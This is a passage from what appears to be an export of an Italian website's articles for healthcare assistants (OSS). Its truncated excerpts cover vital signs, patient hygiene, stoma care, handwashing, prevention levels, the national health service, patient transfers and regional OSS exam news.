oralmente, rettalmente, auricolare o tramite la fronte, a seconda delle modalità e dei dispositivi disponibili. Normalmente la temperatura di una persona può variare dalla mattina presto al tardo pomeriggio di più di 1 °C. È importante registrare accuratamente la temperatura di un paziente e segnalare eventuali variazioni significative agli infermieri o ai medici responsabili. Frequenza Cardiaca La frequenza cardiaca è un parametro vitale che misura il numero di battiti del cuore al minuto. La F. C. comunemente chiamata polso, è l’espressione di un’onda sanguigna, creata dalla contrazione del ventricolo sinistro del cuore. La frequenza cardiaca si esprime in (BPM) battiti al minuto. L'osservazione della frequenza cardiaca può fornire importanti indizi sul funzionamento del sistema cardiovascolare. Ecco alcuni punti salienti relativi alla frequenza cardiaca: La frequenza cardiaca normale a riposo per un adulto si situa generalmente tra i 60 e i 100 battiti al minuto. L'assunzione di farmaci, l'attività fisica, l'ansia e lo stress possono influenzare la frequenza cardiaca. L'aumento significativo o la diminuzione della frequenza cardiaca potrebbero indicare problemi cardiaci o altre condizioni mediche che richiedono attenzione. Gli OSS devono essere in grado di contare i battiti del polso o utilizzare un monitor elettronico per misurare la frequenza cardiaca in modo preciso. Se si riscontrano valori anomali, è essenziale comunicare immediatamente tali dati al personale infermieristico. Il polso può essere rilevato in nove siti diversi: temporale: è il polso rilevato sull’arteria temporale; carotideo: è il polso rilevato sull’arteria carotide, che si trova sul collo al lato della laringe; apicale: si trova a livello... --- > Scopri come prepararti al meglio per un concorso per OSS e aumentare le tue probabilità di successo. Strategie, consigli pratici e informazioni utili per ottenere il tuo obiettivo. - Published: 2023-06-21 - Modified: 2023-06-21 - URL: https://ossinreparto.it/concorso-oss-preparazione-con-strategie-e-consigli/ - Categorie: Concorsi In questo articolo, esploreremo le strategie e i consigli che ti aiuteranno a prepararti in modo efficace per superare il concorso e raggiungere il tuo obiettivo di diventare un OSS. Affrontare un concorso richiede una pianificazione accurata e una preparazione adeguata, ma con le giuste strategie e un impegno costante, puoi aumentare le tue probabilità di successo. Continua a leggere per scoprire come. Se stai puntando a una carriera come Operatore Socio Sanitario (OSS) e desideri prepararti al meglio per affrontare un concorso, sei nel posto giusto. In questo articolo, esploreremo le strategie e i consigli che ti aiuteranno a prepararti in modo efficace per superare il concorso e raggiungere il tuo obiettivo di diventare un OSS. Affrontare un concorso richiede una pianificazione accurata e una preparazione adeguata, ma con le giuste strategie e un impegno costante, puoi aumentare le tue probabilità di successo. Continua a leggere per scoprire come. Modalità di svolgimento dei concorsi pubblici per l'OSS Le modalità di svolgimento dei concorsi pubblici per l'OSS sono disciplinate dal decreto n. 220 del 27 marzo 2001. Questo decreto stabilisce le regole e i criteri che devono essere seguiti durante l'intera procedura concorsuale. È importante essere consapevoli di queste modalità per poter partecipare in modo adeguato. Requisiti per la partecipazione Per poter partecipare alla procedura concorsuale per l'OSS, è necessario soddisfare sia i requisiti generali che quelli specifici. I requisiti generali sono comuni a tutti i concorsi pubblici e possono includere cittadinanza italiana o di uno Stato membro dell'Unione Europea, maggiore età, idoneità fisica e morale. I requisiti specifici sono invece stabiliti nel bando di concorso e possono variare a seconda dell'Ente o dell'Azienda pubblica che bandisce il concorso. È fondamentale prendere visione del bando per conoscere in dettaglio i requisiti richiesti. Contenuto del bando di concorso per l'OSS Il bando di concorso è il documento ufficiale che contiene tutte le informazioni necessarie per partecipare al concorso pubblico per l'OSS. Di seguito sono elencate le informazioni generalmente presenti nel bando: Informazioni di base Data di pubblicazione del bando: Viene indicata la data in cui il bando è stato pubblicato nella Gazzetta Ufficiale; Scadenza per inviare la domanda di partecipazione: Viene specificata la data entro cui i candidati devono inviare la propria domanda per partecipare al concorso. Dettagli sul concorso Denominazione dell'Ente o dell'Azienda che bandisce il concorso pubblico: Viene indicato il nome dell'ente o azienda che ha indetto il concorso per l'OSS; Numero dei posti messi a concorso: Viene specificato il numero di posti disponibili per l'assunzione di Operatori Socio-Sanitari; Numero dei posti destinati alle riserve: Vengono indicati i posti riservati a determinate categorie, come ad esempio i disabili; Profilo e categoria di appartenenza: Per l'OSS, la categoria di appartenenza è la "Bs" (Categoria "B" di livello economico "s"). Modalità di svolgimento del concorso Tipo di contratto: Viene specificato il tipo di contratto che sarà offerto ai vincitori del concorso pubblico per l'OSS; Tipo di concorso: Vengono indicati i diversi tipi di concorso previsti. Questi possono includere: Concorso per soli titoli: La commissione valuta il curriculum vitae e il percorso formativo dei candidati. Concorso per soli esami: La selezione avviene attraverso il superamento di prove d'esame. Concorso per titoli ed esami: Vengono valutati sia il curriculum vitae che le prove d'esame. Documenti da allegare alla domanda: Viene specificato l'elenco dei documenti che i candidati devono allegare alla domanda di partecipazione al concorso; Specifiche... --- > Questo articolo fornisce informazioni dettagliate sulle procedure di igiene intima per entrambi i sessi, fornendo consigli utili e raccomandazioni da seguire. - Published: 2023-06-15 - Modified: 2024-09-08 - URL: https://ossinreparto.it/igiene-perineale-e-genitale/ - Categorie: Assistenza alla Persona, Procedure - Tag: Apparato Urinario Questo articolo fornisce informazioni dettagliate sulle procedure di igiene intima per entrambi i sessi, fornendo consigli utili e raccomandazioni da seguire. L'igiene perineale e genitale riveste un ruolo fondamentale nella salute intima sia degli uomini che delle donne. Una corretta igiene contribuisce a prevenire infezioni, irritazioni e cattivi odori, migliorando il benessere generale. Questo articolo fornisce informazioni dettagliate sulle procedure di igiene intima per entrambi i sessi, fornendo consigli utili e raccomandazioni da seguire. Importanza dell'igiene perineale e genitale L'igiene intima adeguata è essenziale per prevenire problemi di salute, mantenere un equilibrio microbiologico e promuovere una corretta funzionalità dei genitali. Una buona igiene può contribuire a prevenire le infezioni, ridurre l'irritazione cutanea e prevenire odori sgradevoli. Accertamenti e Materiali Occorrenti Prima di iniziare qualsiasi procedura di igiene intima, è importante assicurarsi di avere a disposizione i seguenti materiali e valutare la presenza di irritazioni, escoriazioni, infiammazioni, eccessiva secrezione, odore, incontinenza: Asciugamano da bagno; Biancheria: telo da bagno, due asciugamani, pigiama o vestiti; Guanti monouso; Bacinella con acqua calda (37/38 °C); Sapone neutro; Prodotti di igiene personale (deodorante, lozioni); Sacco per biancheria sporca. Procedure preliminari Prima di effettuare la procedura, presentarsi al paziente e spiegargli che cosa si sta facendo, perché e come può aiutare; Garantire la privacy con un paravento ospedaliero; Lavarsi le mani ed osservare le procedure per il controllo infezioni (indossare i guanti monouso); Valutazione anche importante è verificare i fattori fisici o emozionali, condizioni della cute, aree eritematose sull’osso sacro, sulle prominenze ossee e sui talloni. Valutare la presenza di dolore; Incoraggiare il paziente a compiere il più possibile attività autonome. Igiene Perineale e Genitale per le Donne Le donne richiedono un'attenzione particolare per l'igiene intima a causa della struttura anatomica e delle specifiche esigenze fisiologiche. Ecco alcune raccomandazioni specifiche per le donne: Igiene Genitale Femminile Piegare le lenzuola verso il bordo del letto e scoprire i genitali; Mettere un asciugamano sotto il bacino del paziente; Porre la paziente in posizione supina e con le gambe flesse e aperte; Pulire le grandi labbra, poi aprirle e pulire le piccole labbra (l’azione si deve compiere dal meato urinario verso l’ano e dall’interno verso l’esterno); Mettere una padella sotto la paziente e usare la brocca per versare acqua tiepida sull’area. Igiene Perineale Femminile Prestare attenzione alla pulizia del perineo, che comprende l'area tra la vagina e l'ano; Assicurarsi di pulire accuratamente questa zona durante il lavaggio intimo; Mettere una padella sotto la paziente e usare la brocca per versare acqua tiepida sull’area; Asciugare bene il perineo, facendo attenzione alle pieghe delle labbra vaginali; Togliere i guanti, lavarsi le mani e documentare la procedura sulla cartella assistenziale. Igiene Perineale e Genitale per gli Uomini Anche gli uomini devono adottare misure adeguate per mantenere l'igiene perineale e genitale al fine di prevenire problemi di salute e promuovere il benessere. Ecco alcune raccomandazioni specifiche per gli uomini: Igiene Genitale Maschile Lavare attentamente l'area genitale, inclusi il pene, lo scroto e l'ano; Assicurarsi di asciugare bene l'area genitale dopo il lavaggio, poiché l'umidità può favorire la crescita di batteri e funghi; Se il paziente non è circonciso, retrarre il prepuzio ed esporre il glande,... --- > In questo articolo, esploreremo l'assistenza al paziente stomatizzato, concentrandoci sulle diverse tipologie di stomia e sulla gestione delle complicanze. - Published: 2023-06-15 - Modified: 2023-06-15 - URL: https://ossinreparto.it/assistenza-paziente-stomatizzato/ - Categorie: Assistenza alla Persona, Anatomia, Procedure In questo articolo, esploreremo l'assistenza al paziente stomatizzato, concentrandoci sulle diverse tipologie di stomia e sulla gestione delle complicanze. La stomia, o stoma, è l'abboccamento temporaneo o definitivo di un viscere alla superficie cutanea con l'obiettivo di permettere la fuoriuscita del contenuto viscerale o l'introduzione di sostanze a fini nutrizionali o terapeutici. La stomatizzazione può essere necessaria per diverse ragioni, come interventi chirurgici, malattie o traumi. In questo articolo, esploreremo l'assistenza al paziente stomatizzato, concentrandoci sulle diverse tipologie di stomia e sulla gestione delle complicanze. Tipologie di stomia Le stomie possono essere classificate in base alla posizione nel tratto intestinale. Ecco alcune delle principali tipologie di stomia intestinale: Colostomia ascendente La stomia è situata nel colon ascendente. Si tratta di un tipo di colostomia non comune. Gli effluenti sono liquidi o semi-liquidi e possono essere molto irritanti per la pelle, simili a quelli dell'ileostomia. Colostomia trasversa La stomia è situata nel colon trasverso. Gli effluenti sono liquidi o semi-formati. Questo tipo di stomia solitamente viene confezionata su ansa ed è spesso temporanea. Colostomia discendente La stomia è situata nel colon discendente. Si tratta di un tipo comune di colostomia. Gli effluenti sono più formati a causa della maggiore quantità d'acqua assorbita nel colon ascendente e trasverso. Colostomia sigmoidea La stomia è situata nella parte inferiore sinistra del colon. Gli effluenti sono formati, poiché i liquidi sono stati assorbiti lungo il percorso intestinale. Fisiopatologia delle colostomie Il colon è deputato all'assorbimento dell'acqua, degli elettroliti, dei sali biliari, dell'urea e del glucosio contenuti nel materiale fecale proveniente dall'intestino tenue, aumentando così la consistenza delle feci. Alcune funzioni del colon includono l'assorbimento, la secrezione, la produzione di vitamine, la progressione e il deposito del materiale fecale. L'assorbimento è tanto più ridotto quanto più si avanza nel tratto intestinale. Irrigazione L'irrigazione è una pratica che consiste nell'eseguire un clistere per provocare lo svuotamento artificioso e controllato dell'intestino. Viene consigliata quasi esclusivamente ai portatori di colostomia discendente o sigmoidostomia. La persona stomizzata può eseguire questa pratica da sola, dopo aver ricevuto le opportune istruzioni, ma è fondamentale che la stomia sia in stato di perfetta integrità. Eventuali difetti nella confezione della stomia, fistole, retrazioni o ernie rappresentano una controindicazione all'irrigazione. L'ileostomia L'ileostomia consiste nell'apertura e nella fissazione, temporanea o definitiva, dell'ileo alla parete addominale allo scopo di derivare all'esterno il contenuto intestinale. Ciò comporta la perdita funzionale di tutto il colon. L'ileostomizzato tende quindi alla disidratazione, all'emissione incontrollata delle deiezioni fecali (molteplici scariche al giorno) e alla perdita di sostanze alimentari ingerite. Alcune complicanze comuni includono irritazione cutanea peristomale, indotta dai sali biliari e dai succhi pancreatici non riassorbiti. Cenni storici La pratica della stomatizzazione risale a diversi secoli fa. La prima testimonianza di un intervento di stomia risale a Prassagora nel 3° secolo a. C. Nel corso dei secoli successivi, si sono susseguite altre testimonianze e osservazioni, spesso basate su esperienze su animali come le fistole stercoracee in uso tra i veterinari, ma con esiti infausti nell'uomo. La prima segnalazione ufficiale di una stomia risale al 1750, per opera di William Cheselden, in una paziente con un'ernia ombelicale. Approvvigionamento dei dispositivi I dispositivi... --- - Published: 2023-06-12 - Modified: 2023-06-12 - URL: https://ossinreparto.it/avviso-convocazione-san-carlo/ - Categorie: Avvisi Pubblici, Concorsi, News Concorsi È stato ufficialmente emesso l'avviso di convocazione per la prova pratica del Concorso Pubblico Unico Regionale, per titoli ed esami, finalizzato alla copertura di 23 posti di Operatore Socio Sanitario (OSS) - Categoria B/BS. È stato ufficialmente emesso l'avviso di convocazione per la prova pratica del Concorso Pubblico Unico Regionale, per titoli ed esami, finalizzato alla copertura di 23 posti di Operatore Socio Sanitario (OSS) - Categoria B/BS. L'avviso di convocazione contiene tutte le informazioni necessarie per i candidati ammessi. Vengono specificate la data, l'orario e il luogo in cui si svolgerà la prova pratica. Al fine di garantire una maggiore trasparenza e accessibilità alle informazioni, è stato reso disponibile l'elenco degli ammessi alla prova pratica tramite un link dedicato. I candidati possono accedere all'elenco degli ammessi visitando il seguente indirizzo web: Clicca qui per scaricare l'elenco. Si consiglia a tutti i candidati ammessi di consultare regolarmente l'elenco per verificare la propria convocazione e prendere nota delle istruzioni fornite. Si sottolinea l'importanza di prepararsi adeguatamente per la prova pratica, prendendo in considerazione gli argomenti trattati nei programmi di studio relativi all'operatore socio sanitario, e nel nostro blog. --- > Scopri l'importanza del lavaggio antisettico delle mani, la corretta tecnica e i prodotti consigliati per proteggerti dalle infezioni. - Published: 2023-06-10 - Modified: 2023-06-20 - URL: https://ossinreparto.it/lavaggio-antisettico-delle-mani/ - Categorie: Igiene e Sicurezza, Procedure In questo articolo, esploreremo l'importanza di questa pratica e forniremo informazioni su come effettuare correttamente il lavaggio antisettico delle mani. Introduzione Il lavaggio antisettico delle mani è una pratica fondamentale per prevenire la diffusione di germi e infezioni. Le nostre mani sono in contatto costante con diverse superfici e oggetti che possono essere veicolo di batteri, virus e altri microrganismi dannosi per la nostra salute. Il lavaggio antisettico delle mani utilizza prodotti specifici per eliminare questi microrganismi, proteggendoci da possibili malattie e dalle ICA (infezioni correlate all'assistenza). In questo articolo, esploreremo l'importanza di questa pratica e forniremo informazioni su come effettuare correttamente il lavaggio antisettico delle mani. Importanza del lavaggio antisettico delle mani Riduzione della diffusione di germi Il lavaggio antisettico delle mani è un'azione efficace per ridurre la diffusione di germi. I nostri palmi e le nostre dita possono ospitare una grande quantità di microrganismi, provenienti da oggetti, superfici o persino dal contatto con altre persone. Lavarsi le mani con un prodotto antisettico aiuta ad ridurre o eliminare la flora transitoria e parte della carica microbica residente, riducendo così il rischio di contrarre malattie come raffreddore, influenza, gastroenterite e molte altre infezioni trasmissibili. Prevenzione delle infezioni Le infezioni possono essere causate da una vasta gamma di microrganismi patogeni. Il lavaggio antisettico delle mani è particolarmente importante in ambienti in cui la contaminazione è più probabile, come ospedali, cliniche, laboratori e cucine. Questa pratica può aiutare a prevenire la diffusione di infezioni nosocomiali (acquisite in ambiente ospedaliero) e a proteggere sia i pazienti che gli operatori sanitari, è bene sapere che in contesti come questi l'uso di bracciali, orologi e anelli, unghie lunghe e con smalto favoriscono la contaminazione e non riducono microrganismi patogeni. Protezione individuale e collettiva Il lavaggio antisettico delle mani non solo protegge l'individuo che esegue la procedura, ma anche le persone che lo circondano. Riducendo la presenza di germi sulle mani, si riduce la probabilità di trasferire tali microrganismi ad altre persone attraverso il contatto diretto o il tocco di superfici condivise. Questa pratica contribuisce quindi a preservare la salute della comunità nel suo insieme. Tecnica corretta per il lavaggio antisettico delle mani Durata del lavaggio antisettico La durata del lavaggio antisettico delle mani è un aspetto importante per garantire l'efficacia della procedura. Si raccomanda di dedicare 90 secondi circa a questa pratica, garantendo un'adeguata copertura e frizione su tutta la superficie delle mani. Prodotti da utilizzare Per il lavaggio antisettico delle mani, è possibile utilizzare prodotti come il gel o la soluzione alcolica, contenenti almeno il 60% di alcol. Questi prodotti sono ampiamente disponibili in farmacie e supermercati. In alternativa, è possibile utilizzare un sapone antibatterico, creando una schiuma abbondante durante il lavaggio. Sia il gel alcolico che il sapone antibatterico sono efficaci nel combattere i germi e possono essere scelti in base alle preferenze personali. Sequenza del lavaggio antisettico Ecco una sequenza semplice per eseguire correttamente il lavaggio antisettico delle mani: Bagnare le mani con acqua tiepida. Applicare una quantità sufficiente di gel alcolico o sapone antibatterico sul palmo di una mano. Strofinare le mani insieme, assicurandosi di coprire tutte le superfici: palmi, dorso delle... --- > Scopri il ruolo fondamentale dell'operatore socio-sanitario (OSS) nelle residenze sanitarie assistenziali (RSA) e le sue competenze necessarie. - Published: 2023-06-10 - Modified: 2023-06-10 - URL: https://ossinreparto.it/oss-nelle-rsa/ - Categorie: Organizzazione Socio-Sanitaria In questo articolo, esploreremo il ruolo e le competenze dell'operatore socio-sanitario nelle RSA, mettendo in luce l'importanza del loro lavoro per garantire una migliore qualità di vita agli anziani. Introduzione Le residenze sanitarie assistenziali (RSA) sono strutture socio-sanitarie di tipo residenziale che offrono assistenza e cure agli anziani non autosufficienti parziali o totali al di sopra dei 65 anni, che non possono stare alle proprie case. Un elemento chiave all'interno di queste residenze è rappresentato dall'operatore socio-sanitario (OSS), figura professionale che svolge un ruolo fondamentale nell'assistenza e nella cura degli anziani ospiti. In questo articolo, esploreremo il ruolo e le competenze dell'operatore socio-sanitario nelle RSA, mettendo in luce l'importanza del loro lavoro per garantire una migliore qualità di vita agli anziani. Quando ho lavorato in RSA innanzitutto appena arrivata il collega del turno precedente mi diceva delle novità su anomalie e cambiamenti dei pazienti, ad esempio: “ il sig. Rossi è iperpiretico” , oppure “ la signora Bianca non vuole mangiare”, in modo tale da avvantaggiarmi con il lavoro e poi leggevo sul quaderno delle consegne cosa avevano già fatto i precedenti colleghi e nel caso mi trovavo di mattina cosa dovevo pulire, es. : stanza n. 33,34,35 pulire gli arredi. Poi a seconda dell’orario, se mi trovavo la mattina o il pomeriggio, facevo il giro stanze antiorario di tutti i pazienti. Se mi trovavo la mattina prima di andare nel mio reparto prendevo il carrello della colazione dalla cucina e poi andavo in reparto, poi , insieme ad una collega ma a volte anche sola, distribuivo la colazione a tutti i pazienti secondo i loro gusti. All’inizio mi era un pò difficile associare 30 colazioni diverse ai pazienti, ma piano piano imparai a conoscere tutte le loro abitudini. Ruolo dell'operatore socio-sanitario (OSS) nelle RSA Responsabilità principali dell'operatore socio-sanitario L'operatore socio-sanitario (OSS) svolge diverse responsabilità all'interno delle residenze sanitarie assistenziali (RSA). Ecco alcune delle sue principali mansioni: Assistenza quotidiana agli anziani ospiti, fornendo supporto nelle attività di base come l'igiene personale, l'alimentazione e la mobilizzazione. Monitoraggio costante delle condizioni di salute degli anziani e segnalazione di eventuali cambiamenti o problematiche al personale sanitario. Somministrazione dei farmaci prescritti seguendo le indicazioni del personale medico. Collaborazione con il personale infermieristico e medico per garantire un'adeguata assistenza sanitaria agli anziani. Supporto emotivo e relazionale agli ospiti delle RSA, favorendo un ambiente confortevole e accogliente. Partecipazione a programmi di riabilitazione e attività ricreative per promuovere il benessere degli anziani ospiti. Mantenimento dell''igiene e della pulizia degli ambienti comuni e delle stanze degli anziani. Competenze dell'operatore socio-sanitario (OSS) Per svolgere efficacemente il proprio lavoro nelle RSA, l'operatore socio-sanitario deve possedere una serie di competenze specifiche. Di seguito sono elencate alcune delle competenze necessarie: Conoscenze di base sulle pratiche di assistenza sanitaria e igienico-sanitarie. Capacità di comunicazione efficace con gli anziani, il personale sanitario e i familiari degli ospiti. Empatia e sensibilità nel comprendere le esigenze e le difficoltà degli anziani ospiti. Capacità di lavorare in team e collaborare con diversi professionisti del settore sanitario. Conoscenza dei principali protocolli di sicurezza e norme igieniche. Abilità organizzative per gestire le diverse attività quotidiane in modo efficiente. Capacità di gestire situazioni di emergenza e fornire un primo... --- > Scopri l'importanza dei tre livelli di prevenzione per proteggere la tua salute. Approfondisci le strategie di prevenzione primaria, secondaria e terziaria per una vita sana. - Published: 2023-06-10 - Modified: 2023-06-10 - URL: https://ossinreparto.it/livelli-prevenzione-oss/ - Categorie: Assistenza alla Persona In questo articolo, esploreremo in dettaglio i tre livelli di prevenzione, definendo le loro caratteristiche e fornendo esempi pratici di applicazione. Comprendere questi livelli di prevenzione ti permetterà di adottare misure concrete per proteggere la tua salute e prevenire l'insorgenza di malattie. La prevenzione è un concetto fondamentale per la promozione e il mantenimento della salute. In ambito medico, si identificano tre livelli di prevenzione: primaria, secondaria e terziaria. Ognuno di questi livelli riveste un ruolo importante nel garantire il benessere individuale e collettivo. In questo articolo, esploreremo in dettaglio i tre livelli di prevenzione, definendo le loro caratteristiche e fornendo esempi pratici di applicazione. Comprendere questi livelli di prevenzione ti permetterà di adottare misure concrete per proteggere la tua salute e prevenire l'insorgenza di malattie. Prevenzione Primaria La prevenzione primaria si concentra sull'adozione di misure che riducono il rischio di insorgenza di una malattia o di un evento dannoso. Il suo obiettivo principale è evitare che una condizione negativa si manifesti inizialmente. Ecco alcuni punti chiave della prevenzione primaria: Educazione sanitaria: Informarsi sulle buone pratiche per mantenere uno stile di vita sano, ad esempio attraverso campagne di sensibilizzazione, corsi e materiale informativo. Promozione della salute: Favorire comportamenti positivi, come l'esercizio fisico regolare, una dieta equilibrata, la cessazione del fumo e la limitazione dell'assunzione di alcol. Vaccinazioni: Ricevere le vaccinazioni raccomandate per proteggere contro malattie infettive specifiche. Ambiente sicuro: Adottare misure per prevenire infortuni, come l'uso di cinture di sicurezza, l'installazione di dispositivi antincendio e la promozione di luoghi di lavoro sicuri. La prevenzione primaria svolge un ruolo cruciale nel ridurre l'incidenza di malattie e nella promozione di uno stile di vita sano. Prevenzione Secondaria La prevenzione secondaria si concentra sul rilevamento precoce e sul trattamento tempestivo delle malattie, al fine di prevenire complicanze gravi e migliorare i risultati clinici. I principali aspetti della prevenzione secondaria includono: Screening: Sottoporsi a test o esami diagnostici regolari per individuare precocemente malattie o condizioni a rischio. Controllo medico regolare: Effettuare visite mediche periodiche per valutare lo stato di salute generale, monitorare l'evoluzione di condizioni croniche e identificare eventuali segni precoci di malattia. Terapia tempestiva: Avviare trattamenti medici appropriati il prima possibile per evitare la progressione di una malattia e migliorare i risultati a lungo termine. Programmi di riabilitazione: Fornire supporto medico e terapeutico per favorire il recupero e il miglioramento della qualità della vita dopo una malattia o un evento avverso. La prevenzione secondaria è cruciale per individuare malattie in fase iniziale, quando le possibilità di guarigione e il controllo della malattia sono maggiori. Esempi di Screening Mammografia: Utilizzata per la rilevazione precoce del cancro al seno nelle donne. Test del Pap test: Effettuato per identificare precocemente anomalie delle cellule cervicali che potrebbero indicare la presenza di tumori o infezioni. Colonscopia: Eseguita per individuare la presenza di polipi o tumori nel colon. Prevenzione Terziaria La prevenzione terziaria si concentra sulla gestione a lungo termine di malattie croniche o disabilità, riducendo al minimo le conseguenze negative sulla qualità della vita e sulle funzioni quotidiane. Alcuni aspetti chiave della prevenzione terziaria includono: Trattamento e gestione delle complicanze: Adottare terapie e interventi medici che mirano a limitare gli effetti negativi delle malattie croniche e delle disabilità. Reintegrazione sociale: Offrire supporto psicologico, riabilitazione fisica e servizi di assistenza per... --- > L'Azienda ospedaliera regionale San Carlo di Potenza ha annunciato l'ammissione di 6.856 candidati al concorso unico regionale per Operatori Socio Sanitari. - Published: 2023-06-05 - Modified: 2023-06-05 - URL: https://ossinreparto.it/concorso-oss-basilicata-ammessi/ - Categorie: News Concorsi, Concorsi L'Azienda ospedaliera regionale 'San Carlo' di Potenza ha annunciato l'ammissione di 6.856 candidati al concorso unico regionale per Operatori Socio Sanitari (OSS) di categoria B/Bs. L'Azienda ospedaliera regionale 'San Carlo' di Potenza ha annunciato l'ammissione di 6. 856 candidati al concorso unico regionale per Operatori Socio Sanitari (OSS) di categoria B/Bs. Questo concorso, indetto in collaborazione con altre aziende e enti del Servizio sanitario regionale della Basilicata, è finalizzato al potenziamento delle risorse umane e all'innalzamento del livello di risposta sanitaria. Il direttore generale dell'Azienda ospedaliera regionale, Giuseppe Spera, ha sottolineato l'importanza di questa procedura concorsuale nel garantire il reclutamento rapido degli operatori sanitari necessari per migliorare l'assistenza ai pazienti presso l'Aor, l'Asm e il Crob. Secondo Spera, questo concorso rappresenta un tassello fondamentale per potenziare le attività delle aziende del Servizio sanitario regionale e soddisfare in modo sempre più efficace le esigenze di salute dei cittadini, sia regionali che extraregionali. L'assessore alla Salute e Politiche della Persona, Francesco Fanelli, ha elogiato il lavoro solerte degli uffici amministrativi dell'Azienda ospedaliera San Carlo e della Regione Basilicata nella pianificazione di future attività concorsuali. Fanelli ha dichiarato di voler continuare senza tentennamenti nella programmazione di iniziative volte al superamento definitivo della pandemia e al rafforzamento costante del sistema sanitario pubblico. È importante sottolineare che questo concorso non rappresenta un'attività isolata, ma è parte integrante di un programma di assunzioni in corso che coinvolgerà molte figure professionali nel settore sanitario nei prossimi mesi. Questo impegno dimostra la volontà di investire nelle risorse umane e garantire una migliore assistenza sanitaria ai cittadini. L'annuncio dell'ammissione dei candidati al concorso unico regionale per gli OSS è una notizia di rilevanza, poiché evidenzia la continua crescita e il costante impegno delle istituzioni per migliorare il sistema sanitario in Basilicata. Questo passo avanti contribuirà a colmare le lacune nell'organico degli operatori socio sanitari e a fornire un supporto adeguato alle strutture sanitarie regionali. È auspicabile che questo concorso sia solo l'inizio di una serie di iniziative volte a rafforzare ulteriormente la sanità pubblica, garantendo un servizio di qualità sempre maggiore. La partecipazione di un così elevato numero di candidati dimostra l'interesse e l'impegno degli operatori nel settore sanitario e offre opportunità a tutti coloro che desiderano intraprendere questa professione. La regione Basilicata conferma così il suo impegno per il benessere dei cittadini, attraverso investimenti nelle risorse umane e l'ampliamento delle opportunità lavorative nel settore sanitario. Il concorso OSS rappresenta un segnale positivo di progresso e di impegno costante per migliorare la qualità dei servizi sanitari offerti alla comunità. --- > In questo articolo, esploreremo il significato, la storia e le leggi che governano il servizio sanitario nazionale. - Published: 2023-06-05 - Modified: 2025-04-01 - URL: https://ossinreparto.it/servizio-sanitario-nazionale/ - Categorie: Legislazione Sanitaria Approfondiremo l'importanza di questo servizio pubblico e il ruolo che svolge nel garantire l'accesso equo e universale alle cure mediche in Italia. Il Servizio Sanitario Nazionale (SSN) rappresenta un pilastro fondamentale per la salute e il benessere di ogni cittadino italiano. In questo articolo, esploreremo il suo significato, la sua storia e le leggi che lo governano. Scopriremo inoltre cosa sono i Livelli Essenziali di Assistenza (LEA) e come contribuiscono a garantire cure e servizi sanitari di qualità a tutti i cittadini. Approfondiremo l'importanza di questo servizio pubblico e il ruolo che svolge nel garantire l'accesso equo e universale alle cure mediche in Italia. Storia del Servizio Sanitario Nazionale Il Servizio Sanitario Nazionale italiano ha una storia che risale al secondo dopoguerra. È stato istituito nel 1978 con la legge n. 833, che ha riconosciuto il diritto alla salute come un diritto fondamentale di ogni individuo. Questa legge ha stabilito un sistema di assistenza sanitaria pubblica, basato sui principi di universalità, solidarietà e uguaglianza. Le Leggi del Servizio Sanitario Nazionale Legge n. 833 del 1978 La legge n. 833 del 1978 è il fondamento del Servizio Sanitario Nazionale in Italia. Essa stabilisce che l'assistenza sanitaria deve essere garantita a tutti i cittadini, senza discriminazioni di alcun tipo. Questa legge ha introdotto i principi di uguaglianza, appropriatezza e diritto alla salute come base del sistema sanitario italiano. Decreto Legislativo n. 502 del 1992 (Prima grande riforma) Il decreto legislativo n. 502 del 1992 ha rappresentato una tappa importante per il miglioramento del Servizio Sanitario Nazionale. Questa legge ha introdotto importanti riforme, tra cui il decentramento delle decisioni e l'autonomia delle regioni nella gestione dei servizi sanitari. Ha promosso la partecipazione attiva dei cittadini nella definizione delle politiche sanitarie e ha introdotto misure per il controllo dei costi e l'efficienza del sistema. Decreto Legislativo n. 517 del 1993 (seconda grande riforma) Il Decreto Legislativo n. 517 del 1993 è una normativa che ha introdotto importanti modifiche al funzionamento del Servizio Sanitario Nazionale in Italia. Il decreto ha avuto l'obiettivo di migliorare l'efficienza, la qualità e l'organizzazione del sistema sanitario. Le disposizioni chiave del decreto includono: Creazione delle Aziende Sanitarie Locali (ASL): Il decreto ha stabilito la creazione delle Aziende Sanitarie Locali, che hanno sostituito le vecchie strutture sanitarie territoriali. Le ASL sono enti locali responsabili dell'erogazione dei servizi sanitari sul territorio e hanno il compito di gestire in modo più efficiente e coordinato le risorse sanitarie. Razionalizzazione delle strutture ospedaliere: Il decreto ha introdotto una serie di misure per razionalizzare e riorganizzare le strutture ospedaliere. L'obiettivo era ridurre le duplicazioni e le inefficienze, garantendo una migliore gestione delle risorse e un migliore accesso alle cure. Accreditamento delle strutture sanitarie: Il decreto ha introdotto il concetto di accreditamento delle strutture sanitarie, che prevede una valutazione e un riconoscimento formale delle strutture sanitarie che rispondono a determinati standard di qualità. L'accreditamento ha lo scopo di garantire che le strutture sanitarie offrano servizi adeguati e sicuri ai pazienti. Finanziamento del SSN: Il decreto ha stabilito il finanziamento del SSN, definendo le modalità di assegnazione delle risorse finanziarie alle ASL e agli ospedali. È stato introdotto un sistema... --- > Scopri come effettuare correttamente la mobilizzazione letto-carrozzina per i pazienti emiplegici. Leggi i consigli e le istruzioni dettagliate. - Published: 2023-06-05 - Modified: 2023-06-05 - URL: https://ossinreparto.it/procedura-spostamento-letto-carrozzina/ - Categorie: Procedure, Assistenza alla Persona Una corretta procedura di spostamento tra il letto e la carrozzina è essenziale per facilitare la mobilità del paziente e prevenire lesioni o cadute. Nel contesto dell'assistenza sanitaria, la mobilizzazione del paziente emiplegico dalla posizione a letto alla carrozzina è un'attività fondamentale per garantire il suo comfort e la sua sicurezza. L'emiplegia, una forma di paralisi che coinvolge un lato del corpo, può limitare la capacità del paziente di muoversi autonomamente. Pertanto, una corretta procedura di spostamento tra il letto e la carrozzina è essenziale per facilitare la mobilità del paziente e prevenire lesioni o cadute. Nelle sezioni seguenti, esploreremo in dettaglio la procedura di spostamento letto-carrozzina per i pazienti emiplegici. Inizieremo con le considerazioni generali e poi passeremo a istruzioni più specifiche e consigli pratici. Considerazioni preliminari Prima di iniziare la procedura di spostamento, è importante tenere presente alcuni aspetti fondamentali. Ecco alcuni punti chiave da considerare: Valutazione del paziente Prima di eseguire qualsiasi tipo di spostamento, è fondamentale valutare le condizioni del paziente. Considera la sua forza muscolare, la capacità di partecipare attivamente al trasferimento e la presenza di eventuali dolori o lesioni. Se necessario, consulta il personale medico specializzato per una valutazione completa. Preparazione dell'ambiente Assicurati che l'ambiente circostante sia sicuro e adatto allo spostamento. Rimuovi eventuali ostacoli o oggetti che potrebbero interferire con la procedura. Verifica che il letto e la carrozzina siano posizionati in modo ottimale per agevolare il trasferimento, è importante 